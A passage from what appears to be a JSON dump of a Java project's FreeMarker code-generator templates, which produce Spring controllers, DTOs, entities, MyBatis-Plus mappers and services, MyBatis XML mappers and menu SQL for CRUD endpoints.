\"id集合\") List<String> ids) {\n        return DataResult.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public DataResult update(@Validated(${classInfo.className}VO.Update.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            return DataResult.fail(\"数据不存在\");\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.updateById(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public DataResult getOne(@RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return DataResult.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public DataResult listByPage(@RequestBody ${classInfo.className}VO ${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return DataResult.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public DataResult findListByPage(@RequestBody ${classInfo.className}VO ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return DataResult.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/plus-dto.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable; \nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}DTO  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}DTO() {}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/plus-entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/plus-mapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/plus-service.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/plus-serviceimpl.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/plus-vo.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}VO  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}VO() {}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/pluscontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}VO;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    @Autowired\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageMybatisXML}.${classInfo.className}Dao\">\n\n    <resultMap id=\"${classInfo.className}\" type=\"${packageModel}.${classInfo.className}\" >\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n    </#list>\n    </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n    </#list>\n    </#if>\n    </sql>\n\n    <insert id=\"insert\" parameterType=\"java.util.Map\" >\n        INSERT INTO ${classInfo.tableName} (\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n            <#if fieldItem.columnName != \"Id\" >\n            `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n            </#if>\n        </#list>\n        </#if>\n        )\n        VALUES(\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"Id\" >\n            <#if fieldItem.columnName=\"AddTime\" || fieldItem.columnName=\"UpdateTime\" >\n            NOW()<#if fieldItem_has_next>,</#if>\n            <#else>\n            ${r\"#{\"}${classInfo.className?uncap_first}.${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n            </#if>\n        </#if>\n        </#list>\n        </#if>\n        )\n    </insert>\n\n    <delete id=\"delete\" parameterType=\"java.util.Map\" >\n        DELETE FROM ${classInfo.tableName}\n        WHERE `id` = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"java.util.Map\" >\n        UPDATE ${classInfo.tableName}\n        SET\n        <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"Id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n            ${fieldItem.columnName} = ${r\"#{\"}${classInfo.className?uncap_first}.${fieldItem.fieldName}${r\"}\"},\n        </#if>\n        </#list>\n            UpdateTime = NOW()\n        WHERE `id` = ${r\"#{\"}${classInfo.className?uncap_first}.id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" parameterType=\"java.util.Map\" resultMap=\"${classInfo.className}\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        WHERE `id` = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" parameterType=\"java.util.Map\" resultMap=\"${classInfo.className}\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pagesize}\"}\n    </select>\n\n    <select id=\"pageListCount\" parameterType=\"java.util.Map\" resultType=\"int\">\n        SELECT count(1)\n        FROM ${classInfo.tableName}\n    </select>\n\n</mapper>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/menu-sql.ftl",
    "content": "-- 菜单SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nVALUES ('1', '${classInfo.classComment}', 'generator/${classInfo.className?uncap_first}', NULL, '1', 'config', '6');\n\n-- 按钮父菜单ID\nset @parentId = @@identity;\n\n-- 菜单对应按钮SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '查看', null, 'generator:${classInfo.className?uncap_first}:list,generator:${classInfo.className?uncap_first}:info', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '新增', null, 'generator:${classInfo.className?uncap_first}:save', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '修改', null, 'generator:${classInfo.className?uncap_first}:update', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '删除', null, 'generator:${classInfo.className?uncap_first}:delete', '2', null, '6';\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/renren-fast/rr-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Arrays;\nimport java.util.Map;\n\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\nimport ${packageName}.common.utils.PageUtils;\nimport ${packageName}.common.utils.R;\n</#if>\n\n\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@RestController\n@RequestMapping(\"generator/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n@Autowired\nprivate ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n/**\n* 列表\n*/\n@RequestMapping(\"/list\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:list\")\npublic R list(@RequestParam Map<String, Object> params){\n    PageUtils page = ${classInfo.className?uncap_first}Service.queryPage(params);\n\n    return R.ok().put(\"page\", page);\n}\n\n\n/**\n* 信息\n*/\n@RequestMapping(\"/info/{${classInfo.className?uncap_first}Id}\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:info\")\npublic R info(@PathVariable(\"${classInfo.className?uncap_first}Id\") int ${classInfo.className?uncap_first}Id){\n    ${classInfo.className}Entity ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Service.getById(${classInfo.className?uncap_first}Id);\n\n    return R.ok().put(\"${classInfo.className?uncap_first}\", ${classInfo.className?uncap_first});\n}\n\n/**\n* 保存\n*/\n@RequestMapping(\"/save\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:save\")\npublic R save(@RequestBody ${classInfo.className}Entity ${classInfo.className?uncap_first}){\n    ${classInfo.className?uncap_first}Service.save(${classInfo.className?uncap_first});\n\n    return R.ok();\n}\n\n/**\n* 修改\n*/\n@RequestMapping(\"/update\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:update\")\npublic R update(@RequestBody ${classInfo.className}Entity ${classInfo.className?uncap_first}){\n    